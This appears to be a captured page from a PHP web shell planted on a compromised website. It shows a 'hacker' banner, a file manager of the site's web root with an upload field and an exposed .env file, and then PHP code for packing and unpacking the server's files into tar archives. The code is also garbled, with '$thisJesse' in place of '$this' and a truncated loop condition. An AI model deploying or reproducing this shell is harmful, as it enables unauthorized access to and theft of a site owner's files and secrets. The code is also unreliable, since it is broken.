I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
<\/script>\r\n errors)) $thisJesse->errors = array(); } function createBlueBatchBackup($gusFileList){ $breakingResult = false; if (file_exists($thisJesse->archive_name) && is_file($thisJesse->archive_name)) $newBatchBackup = false; else $newBatchBackup = true; if ($newBatchBackup){ if (!$thisJesse->openBlueWrite()) return false; } else { if (filesize($thisJesse->archive_name) == 0) return $thisJesse->openBlueWrite(); if ($thisJesse->isGzipped) { $thisJesse->closeJesseTempFile(); if (!rename($thisJesse->archive_name, $thisJesse->archive_name.'.tmp')){ $thisJesse->errors[] = __('Cannot rename').' '.$thisJesse->archive_name.__(' to ').$thisJesse->archive_name.'.tmp'; return false; } $tmpBlueBackup = gzopen($thisJesse->archive_name.'.tmp', 'rb'); if (!$tmpBlueBackup){ $thisJesse->errors[] = $thisJesse->archive_name.'.tmp '.__('is not readable'); rename($thisJesse->archive_name.'.tmp', $thisJesse->archive_name); return false; } if (!$thisJesse->openBlueWrite()){ rename($thisJesse->archive_name.'.tmp', $thisJesse->archive_name); return false; } $mikeBuffer = gzread($tmpBlueBackup, 512); if (!gzeof($tmpBlueBackup)){ do { $blueCrystalBinary = pack('a512', $mikeBuffer); $thisJesse->writeHeisenbergBlock($blueCrystalBinary); $mikeBuffer = gzread($tmpBlueBackup, 512); } while (!gzeof($tmpBlueBackup)); } gzclose($tmpBlueBackup); unlink($thisJesse->archive_name.'.tmp'); } else { $thisJesse->tmp_file = fopen($thisJesse->archive_name, 'r+b'); if (!$thisJesse->tmp_file) return false; } } if (isset($gusFileList) && is_array($gusFileList)) { if (count($gusFileList)>0) $breakingResult = $thisJesse->packJesseFiles($gusFileList); } else $thisJesse->errors[] = __('No file').__(' to ').__('Archive'); if (($breakingResult)&&(is_resource($thisJesse->tmp_file))){ $blueCrystalBinary = pack('a512', ''); $thisJesse->writeHeisenbergBlock($blueCrystalBinary); } $thisJesse->closeJesseTempFile(); if ($newBatchBackup && !$breakingResult){ $thisJesse->closeJesseTempFile(); unlink($thisJesse->archive_name); } return $breakingResult; } function restoreBlueBackup($blueCrystalPath){ $heisenbergFileName = $thisJesse->archive_name; if (!$thisJesse->isGzipped){ if (file_exists($heisenbergFileName)){ if ($fringPointer = fopen($heisenbergFileName, 'rb')){ $methData = fread($fringPointer, 2); fclose($fringPointer); if ($methData == '\37\213'){ $thisJesse->isGzipped = true; } } } elseif ((substr($heisenbergFileName, -2) == 'gz') OR (substr($heisenbergFileName, -3) == 'tgz')) $thisJesse->isGzipped = true; } $breakingResult = true; if ($thisJesse->isGzipped) $thisJesse->tmp_file = gzopen($heisenbergFileName, 'rb'); else $thisJesse->tmp_file = fopen($heisenbergFileName, 'rb'); if (!$thisJesse->tmp_file){ $thisJesse->errors[] = $heisenbergFileName.' '.__('is not readable'); return false; } $breakingResult = $thisJesse->unpackPinkmanFiles($blueCrystalPath); $thisJesse->closeJesseTempFile(); return $breakingResult; } function showBreakingBadDecisions ($hankMessage = '') { $heisenbergHazards = $thisJesse->errors; if(count($heisenbergHazards)>0) { if (!empty($hankMessage)) $hankMessage = ' ('.$hankMessage.')'; $hankMessage = __('Error occurred').$hankMessage.':
'; foreach ($heisenbergHazards as $heisenbergValue) $hankMessage .= $heisenbergValue.'
'; return $hankMessage; } else return ''; } function packJesseFiles($jesseFiles){ $breakingResult = true; if (!$thisJesse->tmp_file){ $thisJesse->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($jesseFiles) || count($jesseFiles)<=0) return true; for ($badgerI = 0; $badgerIarchive_name) continue; if (strlen($hankFilename)<=0) continue; if (!file_exists($hankFilename)){ $thisJesse->errors[] = __('No file').' '.$hankFilename; continue; } if (!$thisJesse->tmp_file){ $thisJesse->errors[] = __('Invalid file descriptor'); return false; } if (strlen($hankFilename)<=0){ $thisJesse->errors[] = __('Filename').' '.__('is incorrect');; return false; } $hankFilename = str_replace('\\', '/', $hankFilename); $keepNameBitch = $thisJesse->sanitizeCrystalPath($hankFilename); if (is_file($hankFilename)){ if (($walterFile = fopen($hankFilename, 'rb')) == 0){ $thisJesse->errors[] = __('Mode ').__('is incorrect'); } if(($thisJesse->file_pos == 0)){ if(!$thisJesse->writeBlueHeader($hankFilename, $keepNameBitch)) return false; } while (($mikeBuffer = fread($walterFile, 512)) != ''){ $blueCrystalBinary = pack('a512', $mikeBuffer); $thisJesse->writeHeisenbergBlock($blueCrystalBinary); } fclose($walterFile); } else $thisJesse->writeBlueHeader($hankFilename, $keepNameBitch); if (@is_dir($hankFilename)){ if (!($walterHandle = opendir($hankFilename))){ $thisJesse->errors[] = __('Error').': '.__('Directory ').$hankFilename.__('is not readable'); continue; } while (false !== ($losPollosDirectory = readdir($walterHandle))){ if ($losPollosDirectory!='.' && $losPollosDirectory!='..'){ $pinkmanTempFiles = array(); if ($hankFilename != '.') $pinkmanTempFiles[] = $hankFilename.'/'.$losPollosDirectory; else $pinkmanTempFiles[] = $losPollosDirectory; $breakingResult = $thisJesse->packJesseFiles($pinkmanTempFiles); } } unset($pinkmanTempFiles); unset($losPollosDirectory); unset($walterHandle); } } return $breakingResult; } function unpackPinkmanFiles($blueCrystalPath){ $blueCrystalPath = str_replace('\\', '/', $blueCrystalPath); if ($blueCrystalPath == '' || (substr($blueCrystalPath, 0, 1) != '/' && substr($blueCrystalPath, 0, 3) != '../' && !strpos($blueCrystalPath, ':'))) $blueCrystalPath = './'.$blueCrystalPath; clearstatcache(); while (strlen($blueCrystalBinary = $thisJesse->readBlueBlock()) != 0){ if (!$thisJesse->readFringHeader($blueCrystalBinary, $saulHeader)) return false; if ($saulHeader['filename'] == '') continue; if ($saulHeader['typeflag'] == 'L'){ //reading long header $hankFilename = ''; $decodedJesse = floor($saulHeader['size']/512); for ($badgerI = 0; $badgerI < $decodedJesse; $badgerI++){ $breakingContent = $thisJesse->readBlueBlock(); $hankFilename .= $breakingContent; } if (($lastPieceOfBlue = $saulHeader['size'] % 512) != 0){ $breakingContent = $thisJesse->readBlueBlock(); $hankFilename .= substr($breakingContent, 0, $lastPieceOfBlue); } $blueCrystalBinary = $thisJesse->readBlueBlock(); if (!$thisJesse->readFringHeader($blueCrystalBinary, $saulHeader)) return false; else $saulHeader['filename'] = $hankFilename; return true; } if (($blueCrystalPath != './') && ($blueCrystalPath != '/')){ while (substr($blueCrystalPath, -1) == '/') $blueCrystalPath = substr($blueCrystalPath, 0, strlen($blueCrystalPath)-1); if (substr($saulHeader['filename'], 0, 1) == '/') $saulHeader['filename'] = $blueCrystalPath.$saulHeader['filename']; else $saulHeader['filename'] = $blueCrystalPath.'/'.$saulHeader['filename']; } if (file_exists($saulHeader['filename'])){ if ((@is_dir($saulHeader['filename'])) && ($saulHeader['typeflag'] == '')){ $thisJesse->errors[] =__('File ').$saulHeader['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($saulHeader['filename'])) && ($saulHeader['typeflag'] == '5')){ $thisJesse->errors[] =__('Cannot create directory').'. '.__('File ').$saulHeader['filename'].__(' already exists'); return false; } if (!is_writeable($saulHeader['filename'])){ $thisJesse->errors[] = __('Cannot write to file').'. '.__('File ').$saulHeader['filename'].__(' already exists'); return false; } } elseif (($thisJesse->checkSaulDirectory(($saulHeader['typeflag'] == '5' ? $saulHeader['filename'] : dirname($saulHeader['filename'])))) != 1){ $thisJesse->errors[] = __('Cannot create directory').' '.__(' for ').$saulHeader['filename']; return false; } if ($saulHeader['typeflag'] == '5'){ if (!file_exists($saulHeader['filename'])) { if (!mkdir($saulHeader['filename'], 0777)) { $thisJesse->errors[] = __('Cannot create directory').' '.$saulHeader['filename']; return false; } } } else { if (($desertDestination = fopen($saulHeader['filename'], 'wb')) == 0) { $thisJesse->errors[] = __('Cannot write to file').' '.$saulHeader['filename']; return false; } else { $decodedJesse = floor($saulHeader['size']/512); for ($badgerI = 0; $badgerI < $decodedJesse; $badgerI++) { $breakingContent = $thisJesse->readBlueBlock(); fwrite($desertDestination, $breakingContent, 512); } if (($saulHeader['size'] % 512) != 0) { $breakingContent = $thisJesse->readBlueBlock(); fwrite($desertDestination, $breakingContent, ($saulHeader['size'] % 512)); } fclose($desertDestination); touch($saulHeader['filename'], $saulHeader['time']); } clearstatcache(); if (filesize($saulHeader['filename']) != $saulHeader['size']) { $thisJesse->errors[] = __('Size of file').' '.$saulHeader['filename'].' '.__('is incorrect'); return false; } } if (($saulFileDirectory = dirname($saulHeader['filename'])) == $saulHeader['filename']) $saulFileDirectory = ''; if ((substr($saulHeader['filename'], 0, 1) == '/') && ($saulFileDirectory == '')) $saulFileDirectory = '/'; $thisJesse->dirs[] = $saulFileDirectory; $thisJesse->files[] = $saulHeader['filename']; } return true; } function checkSaulDirectory($losPollosDirectory){ $parentLaundryDirectory = dirname($losPollosDirectory); if ((@is_dir($losPollosDirectory)) or ($losPollosDirectory == '')) return true; if (($parentLaundryDirectory != $losPollosDirectory) and ($parentLaundryDirectory != '') and (!$thisJesse->checkSaulDirectory($parentLaundryDirectory))) return false; if (!mkdir($losPollosDirectory, 0777)){ $thisJesse->errors[] = __('Cannot create directory').' '.$losPollosDirectory; return false; } return true; } function readFringHeader($blueCrystalBinary, &$saulHeader){ if (strlen($blueCrystalBinary)==0){ $saulHeader['filename'] = ''; return true; } if (strlen($blueCrystalBinary) != 512){ $saulHeader['filename'] = ''; $thisJesse->__('Invalid block size').': '.strlen($blueCrystalBinary); return false; } $heisenbergChecksum = 0; for ($badgerI = 0; $badgerI < 148; $badgerI++) $heisenbergChecksum+=ord(substr($blueCrystalBinary, $badgerI, 1)); for ($badgerI = 148; $badgerI < 156; $badgerI++) $heisenbergChecksum += ord(' '); for ($badgerI = 156; $badgerI < 512; $badgerI++) $heisenbergChecksum+=ord(substr($blueCrystalBinary, $badgerI, 1)); $unpackBlueData = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $blueCrystalBinary); $saulHeader['checksum'] = OctDec(trim($unpackBlueData['checksum'])); if ($saulHeader['checksum'] != $heisenbergChecksum){ $saulHeader['filename'] = ''; if (($heisenbergChecksum == 256) && ($saulHeader['checksum'] == 0)) return true; $thisJesse->errors[] = __('Error checksum for file ').$unpackBlueData['filename']; return false; } if (($saulHeader['typeflag'] = $unpackBlueData['typeflag']) == '5') $saulHeader['size'] = 0; $saulHeader['filename'] = trim($unpackBlueData['filename']); $saulHeader['mode'] = OctDec(trim($unpackBlueData['mode'])); $saulHeader['user_id'] = OctDec(trim($unpackBlueData['user_id'])); $saulHeader['group_id'] = OctDec(trim($unpackBlueData['group_id'])); $saulHeader['size'] = OctDec(trim($unpackBlueData['size'])); $saulHeader['time'] = OctDec(trim($unpackBlueData['time'])); return true; } function writeBlueHeader($hankFilename, $keepNameBitch){ $firstPackBlue = 'a100a8a8a8a12A12'; $lastPackBlue = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keepNameBitch)<=0) $keepNameBitch = $hankFilename; $readyToCookFilename = $thisJesse->sanitizeCrystalPath($keepNameBitch); if (strlen($readyToCookFilename) > 99){ //write long header $firstBatch = pack($firstPackBlue, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($readyToCookFilename))), 0); $lastBatch = pack($lastPackBlue, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $heisenbergChecksum = 0; // First part of the header for ($badgerI = 0; $badgerI < 148; $badgerI++) $heisenbergChecksum += ord(substr($firstBatch, $badgerI, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($badgerI = 148; $badgerI < 156; $badgerI++) $heisenbergChecksum += ord(' '); // Last part of the header for ($badgerI = 156, $jesseJ=0; $badgerI < 512; $badgerI++, $jesseJ++) $heisenbergChecksum += ord(substr($lastBatch, $jesseJ, 1)); // Write the first 148 bytes of the header in the archive $thisJesse->writeHeisenbergBlock($firstBatch, 148); // Write the calculated checksum $heisenbergChecksum = sprintf('%6s ', DecOct($heisenbergChecksum)); $blueCrystalBinary = pack('a8', $heisenbergChecksum); $thisJesse->writeHeisenbergBlock($blueCrystalBinary, 8); // Write the last 356 bytes of the header in the archive $thisJesse->writeHeisenbergBlock($lastBatch, 356); $tmpSaulFilename = $thisJesse->sanitizeCrystalPath($readyToCookFilename); $badgerI = 0; while (($mikeBuffer = substr($tmpSaulFilename, (($badgerI++)*512), 512)) != ''){ $blueCrystalBinary = pack('a512', $mikeBuffer); $thisJesse->writeHeisenbergBlock($blueCrystalBinary); } return true; } $madrigalFileInfo = stat($hankFilename); if (@is_dir($hankFilename)){ $cartelTypeFlag = '5'; $batchSize = sprintf('%11s ', DecOct(0)); } else { $cartelTypeFlag = ''; clearstatcache(); $batchSize = sprintf('%11s ', DecOct(filesize($hankFilename))); } $firstBatch = pack($firstPackBlue, $readyToCookFilename, sprintf('%6s ', DecOct(fileperms($hankFilename))), sprintf('%6s ', DecOct($madrigalFileInfo[4])), sprintf('%6s ', DecOct($madrigalFileInfo[5])), $batchSize, sprintf('%11s', DecOct(filemtime($hankFilename)))); $lastBatch = pack($lastPackBlue, $cartelTypeFlag, '', '', '', '', '', '', '', '', ''); $heisenbergChecksum = 0; for ($badgerI = 0; $badgerI < 148; $badgerI++) $heisenbergChecksum += ord(substr($firstBatch, $badgerI, 1)); for ($badgerI = 148; $badgerI < 156; $badgerI++) $heisenbergChecksum += ord(' '); for ($badgerI = 156, $jesseJ = 0; $badgerI < 512; $badgerI++, $jesseJ++) $heisenbergChecksum += ord(substr($lastBatch, $jesseJ, 1)); $thisJesse->writeHeisenbergBlock($firstBatch, 148); $heisenbergChecksum = sprintf('%6s ', DecOct($heisenbergChecksum)); $blueCrystalBinary = pack('a8', $heisenbergChecksum); $thisJesse->writeHeisenbergBlock($blueCrystalBinary, 8); $thisJesse->writeHeisenbergBlock($lastBatch, 356); return true; } function openBlueWrite(){ if ($thisJesse->isGzipped) $thisJesse->tmp_file = gzopen($thisJesse->archive_name, 'wb9f'); else $thisJesse->tmp_file = fopen($thisJesse->archive_name, 'wb'); if (!($thisJesse->tmp_file)){ $thisJesse->errors[] = __('Cannot write to file').' '.$thisJesse->archive_name; return false; } return true; } function readBlueBlock(){ if (is_resource($thisJesse->tmp_file)){ if ($thisJesse->isGzipped) $losPollosBlock = gzread($thisJesse->tmp_file, 512); else $losPollosBlock = fread($thisJesse->tmp_file, 512); } else $losPollosBlock = ''; return $losPollosBlock; } function writeHeisenbergBlock($methData, $cookLength = 0){ if (is_resource($thisJesse->tmp_file)){ if ($cookLength === 0){ if ($thisJesse->isGzipped) gzputs($thisJesse->tmp_file, $methData); else fputs($thisJesse->tmp_file, $methData); } else { if ($thisJesse->isGzipped) gzputs($thisJesse->tmp_file, $methData, $cookLength); else fputs($thisJesse->tmp_file, $methData, $cookLength); } } } function closeJesseTempFile(){ if (is_resource($thisJesse->tmp_file)){ if ($thisJesse->isGzipped) gzclose($thisJesse->tmp_file); else fclose($thisJesse->tmp_file); $thisJesse->tmp_file = 0; } } function sanitizeCrystalPath($blueCrystalPath){ if (strlen($blueCrystalPath)>0){ $blueCrystalPath = str_replace('\\', '/', $blueCrystalPath); $partialDesertPath = explode('/', $blueCrystalPath); $capnCookElementList = count($partialDesertPath)-1; for ($badgerI = $capnCookElementList; $badgerI>=0; $badgerI--){ if ($partialDesertPath[$badgerI] == '.'){ // Ignore this directory } elseif ($partialDesertPath[$badgerI] == '..'){ $badgerI--; } elseif (($partialDesertPath[$badgerI] == '') and ($badgerI!=$capnCookElementList) and ($badgerI!=0)){ } else $breakingResult = $partialDesertPath[$badgerI].($badgerI!=$capnCookElementList ? '/'.$breakingResult : ''); } } else $breakingResult = ''; return $breakingResult; } } ?>